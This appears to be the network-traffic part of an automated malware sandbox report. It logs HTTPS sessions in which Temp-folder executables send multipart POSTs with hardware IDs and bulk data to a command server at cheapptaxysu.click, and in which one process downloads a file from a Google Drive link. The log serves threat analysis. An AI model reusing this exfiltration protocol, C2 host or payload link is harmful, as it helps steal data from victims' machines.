fOIXMjF76AjnlEuU9sUNo/54mIwdYYA3Rd1C9tro2I+it9c0cXvyy3XRHUajV4lmqvbL2ZugWajBWAP0nyyZHzthxbZlbDlYp4NLg3bC2bTq+BwZi6RbLhlMFaMKbs7KIqHXIbX+bJ/nhsuTJhBJ5vo8mJhSP8Z+T1lFs1FmnIrx5cLz8mi8WPQRHhL1RM63bPdIW42/nCjKCNZnE6nez/Nhw2Toq3/a8lSLkXbVXXFu6ohImeBZrNiOFSPLPQn
2024-12-21 17:16:21 UTC	1369	IN	Data Raw: 4c 4c 68 72 6e 38 61 73 68 53 4c 6b 58 62 58 48 58 46 30 71 51 70 5a 6b 6d 50 66 76 74 77 4f 30 48 70 65 4b 70 37 4e 74 79 41 55 66 6d 4c 73 50 4e 37 7a 6c 52 68 53 39 55 54 4d 39 32 7a 74 69 39 6d 63 74 42 2b 75 32 41 78 57 6f 6b 6f 38 79 56 6a 31 64 38 46 6e 70 50 33 71 6a 2b 51 41 33 78 4c 77 78 4e 79 6e 76 6e 32 5a 79 56 67 77 6e 6e 64 44 6b 51 50 32 33 71 79 5a 53 62 46 33 6a 4c 6f 70 49 6e 4d 65 4e 31 4e 59 41 79 4e 51 6e 58 54 71 2b 73 68 66 6b 2b 42 64 71 4d 50 4c 55 48 45 4f 2f 77 31 42 4d 6d 66 45 74 6d 54 70 72 39 4b 30 45 52 76 48 59 74 45 4f 74 4c 46 30 6b 42 6d 4f 49 45 34 6f 32 67 78 54 35 78 2f 74 54 56 70 6d 73 4e 48 69 39 62 67 6f 6a 2f 42 44 58 64 4c 6a 52 4e 74 7a 36 57 6b 63 32 59 75 67 58 6e 67 49 6e 45 48 33 32 32 6e 4d 67 2f 30 74 Data Ascii: LLhrn8ashSLkXbXHXF0qQpZkmPfvtwO0HpeKp7NtyAUfmLsPN7zlRhS9UTM92zti9mctB+u2AxWoko8yVj1d8FnpP3qj+QA3xLwxNynvn2ZyVgwnndDkQP23qyZSbF3jLopInMeN1NYAyNQnXTq+shfk+BdqMPLUHEO/w1BMmfEtmTpr9K0ERvHYtEOtLF0kBmOIE4o2gxT5x/tTVpmsNHi9bgoj/BDXdLjRNtz6Wkc2YugXngInEH322nMg/0t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49795	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:22 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VJVG5XOVPCVA4HAR Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18154 Host: cheapptaxysu.click
2024-12-21 17:16:22 UTC	15331	OUT	Data Raw: 2d 2d 56 4a 56 47 35 58 4f 56 50 43 56 41 34 48 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 41 46 43 33 46 35 35 45 46 36 34 32 31 39 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 4a 56 47 35 58 4f 56 50 43 56 41 34 48 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4a 56 47 35 58 4f 56 50 43 56 41 34 48 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d Data Ascii: --VJVG5XOVPCVA4HARContent-Disposition: form-data; name="hwid"09AFC3F55EF64219AC8923850305D13E--VJVG5XOVPCVA4HARContent-Disposition: form-data; name="pid"2--VJVG5XOVPCVA4HARContent-Disposition: form-data; name="lid"CZJvss--geopoxid-
2024-12-21 17:16:22 UTC	2823	OUT	Data Raw: c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da Data Ascii: JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-21 17:16:23 UTC	1135	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d21km4g59gqkmsdp76ii8vcfvc; expires=Wed, 16 Apr 2025 11:03:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jvEnrZRnh5KXKjZZAWkWTwFptqiiytxYEx5ynsnb6LqUPFYmjip4j9fSuKKADnyQDBZNV%2BzTAuPaysVvWkURPPVwDRuw5%2FjVdkuRNT%2BjV1j9%2FHTxFWt7rQE7O%2FZ25L2f6g3Seag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f59850378e5728d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2081&min_rtt=2074&rtt_var=793&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19205&delivery_rate=1367041&cwnd=234&unsent_bytes=0&cid=1131d139d05150da&ts=967&x=0"
2024-12-21 17:16:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 17:16:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49805	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:25 UTC	363	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CW0BCOOZ3 Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8733 Host: cheapptaxysu.click
2024-12-21 17:16:25 UTC	8733	OUT	Data Raw: 2d 2d 43 57 30 42 43 4f 4f 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 41 46 43 33 46 35 35 45 46 36 34 32 31 39 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 57 30 42 43 4f 4f 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 57 30 42 43 4f 4f 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 43 57 30 42 43 4f 4f 5a 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --CW0BCOOZ3Content-Disposition: form-data; name="hwid"09AFC3F55EF64219AC8923850305D13E--CW0BCOOZ3Content-Disposition: form-data; name="pid"2--CW0BCOOZ3Content-Disposition: form-data; name="lid"CZJvss--geopoxid--CW0BCOOZ3Content-D
2024-12-21 17:16:25 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b63nns2er1bldts6jdsnp5phi7; expires=Wed, 16 Apr 2025 11:03:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BQqb5%2FGCvqZs4Mxp3Y4Dl9iMU3gEueiqXqdXVOVyq%2FcOXts82v9W38QzXyT1wNONGOqmyv2Ou7n3RixX913s2CvLbpo2PtSfXyXm4glgVtMjIRa91SSlHyNKEU3UrELIpdBNcqU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5985124afd4350-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2228&min_rtt=2217&rtt_var=854&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9754&delivery_rate=1264069&cwnd=206&unsent_bytes=0&cid=4dc1bc8aec622a45&ts=846&x=0"
2024-12-21 17:16:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 17:16:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49812	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:27 UTC	367	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WEH1N54GAQPR Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20404 Host: cheapptaxysu.click
2024-12-21 17:16:27 UTC	15331	OUT	Data Raw: 2d 2d 57 45 48 31 4e 35 34 47 41 51 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 41 46 43 33 46 35 35 45 46 36 34 32 31 39 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 45 48 31 4e 35 34 47 41 51 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 45 48 31 4e 35 34 47 41 51 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 57 45 48 31 4e 35 34 47 41 51 50 Data Ascii: --WEH1N54GAQPRContent-Disposition: form-data; name="hwid"09AFC3F55EF64219AC8923850305D13E--WEH1N54GAQPRContent-Disposition: form-data; name="pid"3--WEH1N54GAQPRContent-Disposition: form-data; name="lid"CZJvss--geopoxid--WEH1N54GAQP
2024-12-21 17:16:27 UTC	5073	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-21 17:16:28 UTC	1132	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kp2f4ad3rng0hv5k26vk59ioe3; expires=Wed, 16 Apr 2025 11:03:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=752loPz4%2BT9Ciz9LhYZyYFVoaYPS9lx35Pn%2FMdNeJ50hGKFyrbcnMhqAYCTato8iKxQ%2FWrLMNDH4CFsLuEqCA6hhQF7qQQJVew2kLdTqIfwaZsQY4vUDuGBV32x92MOhUWPKrtE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f598520aa8d8cbd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2041&min_rtt=2034&rtt_var=768&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21451&delivery_rate=1435594&cwnd=180&unsent_bytes=0&cid=6fac2fecbd40ca18&ts=1030&x=0"
2024-12-21 17:16:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 17:16:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49819	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:30 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2WLYPW00T2A9ZAC6 Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1268 Host: cheapptaxysu.click
2024-12-21 17:16:30 UTC	1268	OUT	Data Raw: 2d 2d 32 57 4c 59 50 57 30 30 54 32 41 39 5a 41 43 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 41 46 43 33 46 35 35 45 46 36 34 32 31 39 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 57 4c 59 50 57 30 30 54 32 41 39 5a 41 43 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 57 4c 59 50 57 30 30 54 32 41 39 5a 41 43 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d Data Ascii: --2WLYPW00T2A9ZAC6Content-Disposition: form-data; name="hwid"09AFC3F55EF64219AC8923850305D13E--2WLYPW00T2A9ZAC6Content-Disposition: form-data; name="pid"1--2WLYPW00T2A9ZAC6Content-Disposition: form-data; name="lid"CZJvss--geopoxid-
2024-12-21 17:16:31 UTC	1132	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 17:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=70u872hvppia2nmfhrjb08np42; expires=Wed, 16 Apr 2025 11:03:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U30dS%2Fu9XUc6hxgVPRDhZ0Tp9zihTjY5F6viP%2FHCerUEQEig3%2F4P%2Byji58VlT5XCM1AkKDWSO2OptMMwrgV807WGmK2ibQ09BVEPxGTdvXkTnKvKf9Uz%2FKfPCyj1W57NA1vPgkk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5985360b434372-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1683&rtt_var=640&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2274&delivery_rate=1698662&cwnd=242&unsent_bytes=0&cid=286d2dc41f6a34c3&ts=666&x=0"
2024-12-21 17:16:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-21 17:16:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49824	172.217.17.46	443	7232	C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:32 UTC	150	OUT	GET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1 User-Agent: FileDownloader Host: drive.google.com Cache-Control: no-cache
2024-12-21 17:16:33 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 21 Dec 2024 17:16:32 GMT Location: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sDg-kWp4TUkHoBjS9hi1cA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49828	104.21.67.146	443	8100	C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 17:16:33 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DZCYSGDD3A59J Cookie: __cf_mw_byp=gtWVZEsnoKufsWg8Bg366wpUwxeEG0nAGLM7SEqKKTg-1734801378-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549929 Host: cheapptaxysu.click
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: 2d 2d 44 5a 43 59 53 47 44 44 33 41 35 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 41 46 43 33 46 35 35 45 46 36 34 32 31 39 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 5a 43 59 53 47 44 44 33 41 35 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 5a 43 59 53 47 44 44 33 41 35 39 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 44 5a 43 59 53 47 44 44 Data Ascii: --DZCYSGDD3A59JContent-Disposition: form-data; name="hwid"09AFC3F55EF64219AC8923850305D13E--DZCYSGDD3A59JContent-Disposition: form-data; name="pid"1--DZCYSGDD3A59JContent-Disposition: form-data; name="lid"CZJvss--geopoxid--DZCYSGDD
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: 2c 5b 18 51 a1 e5 a9 c6 a5 c9 8c a4 9f 6a a8 40 70 ad d6 68 02 22 32 95 3e 99 d8 21 a2 96 c6 18 d7 14 65 ba a2 08 b1 31 4a 50 49 12 19 71 b8 05 3d e6 66 d7 91 43 64 48 81 cb cb b6 ca 31 bb f5 c5 9a 2e 86 89 72 88 89 43 37 f1 83 51 15 3d 88 6a bb 01 db ec 4a 07 4c cb a8 8a b9 f2 ca 73 24 21 33 d2 64 a3 7c d7 0e c5 7f 2a 36 85 bf db e8 64 f7 19 4a 9c 6f a2 e8 16 f4 cd 7d 59 08 72 d5 8b 3c c2 af 91 31 4d eb cb ed 8b 8e 65 ea 03 71 3f ba 84 c3 3a 89 22 86 31 6a d7 d1 57 b6 19 d1 70 0c 39 7c 9d fb c0 03 0e ea be 96 7b ef 72 1b bf 7f be b9 bc 56 bb 79 c2 8e 72 e9 f8 21 ec 32 31 11 b3 b7 61 d4 29 cd e3 6c 6f 94 79 ba 48 7c f8 45 43 e9 a7 75 ea 41 07 13 d6 2f 65 64 ca 45 50 55 4f 0f fb ac 9d 92 46 9e b7 4b 4d 00 78 35 84 24 33 df 57 ad cf f0 3a a0 ba 03 6f 91 3a Data Ascii: ,[Qj@ph"2>!e1JPIq=fCdH1.rC7Q=jJLs$!3d\|*6dJo}Yr<1Meq?:"1jWp9\|{rVyr!21a)loyH\|ECuA/edEPUOFKMx5$3W:o:
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: ed 3d de 77 ae ef ca 72 39 65 31 a0 94 4f ea 78 f5 a5 ea 2a f0 29 83 89 80 ba f3 3a 46 ee 18 f4 14 8a 79 0d ea 6b 5b 10 9e 22 84 00 1c 70 25 30 ca bb 2f 5f 7f 47 88 79 15 f6 05 d9 98 b0 34 bd fe e3 d5 89 aa 07 f9 6d 8e 06 ff 84 db fe 14 d3 e9 79 3d 55 95 85 ed f2 c0 a0 4a c4 b8 af e0 d0 a7 4e 35 2f de 10 19 a5 d0 36 71 0e 99 67 ee b1 07 05 eb e8 9f 9d cf b1 bd 3c f1 2d c1 29 f7 4c de be da ad 0a 56 6b 39 80 61 a5 af 26 ec 6a 89 dc 8b 29 39 3d 01 4e 54 bb 52 5d 91 29 c3 83 fb 2f f9 23 77 4c 68 7f 7c 5a 3b 2d de e5 4e ba 52 4b 3d 7d c2 ae 3f c2 ff 58 96 69 a1 64 dd 1d 8c f7 13 33 05 86 ce 56 2f fe b7 87 f4 69 99 bb e5 08 af c7 a4 27 2e b3 eb 2c dc 32 07 12 3a 4e 13 8a b1 8a 4f f2 17 c7 34 0b 54 90 5d 27 0f 15 5e d6 14 ee 2e 78 3e a3 f3 16 ca 3c 68 90 2f 85 Data Ascii: =wr9e1Ox*):Fyk["p%0/_Gy4my=UJN5/6qg<-)LVk9a&j)9=NTR])/#wLh\|Z;-NRK=}?Xid3V/i'.,2:NO4T]'^.x><h/
2024-12-21 17:16:33 UTC	15331	OUT	Data Raw: 58 f9 e7 a1 9e 63 fd 24 c4 32 e0 70 26 b8 2c 02 3d 4d 69 de dc 82 2c ef 27 db bd 19 6b eb f4 d8 c4 d5 88 90 c7 81 9e 62 8c 72 93 0c 68 39 dc fb 4f 34 98 65 56 8a ac f3 2f 1f 5f 77 d9 e0 2d 44 b7 34 8f 83 4f 1c 49 04 95 26 b6 93 7f 64 a6 c7 5d d4 37 cc 52 c2 24 f8 64 9c 41 6a 8a 6d c3 30 d9 8d 02 1e 24 9d f5 af 8b 4d 3f 6e fc 93 73 fa 99 8a 2e fb 3c c0 0e 73 bf 0a 33 93 86 3f 6a 86 62 82 fb 5d 9c 50 a8 23 77 bc 4f 8d a3 6e 8c 21 79 30 6a f2 4f 77 80 9b be 6d 41 69 48 59 8b 48 6c 4f 97 7d f0 67 2d ee 82 16 13 aa cc 40 48 c9 c1 d6 f7 fa 3a 70 c5 5b 7d 47 de 34 99 70 b5 6c 0a 6a 1f cd 63 f1 fc b7 dc 06 99 e3 aa 52 9e b6 d7 f2 d2 56 2c 2e 73 5f 17 86 d3 41 15 b3 f6 16 9b 02 50 0c a5 a0 55 81 d3 ad 15 14 fb 73 6a d6 04 e7 19 9c c0 7b f6 ae bf 8d 3d 72 82 c6 be Data Ascii: Xc$2p&,=Mi,'kbrh9O4eV/_w-D4OI&d]7R$dAjm0$M?ns.<s3?jb]P#wOn!y0jOwmAiHYHlO}g-@H:p[}G4pljcRV,.s_APUsj{=r
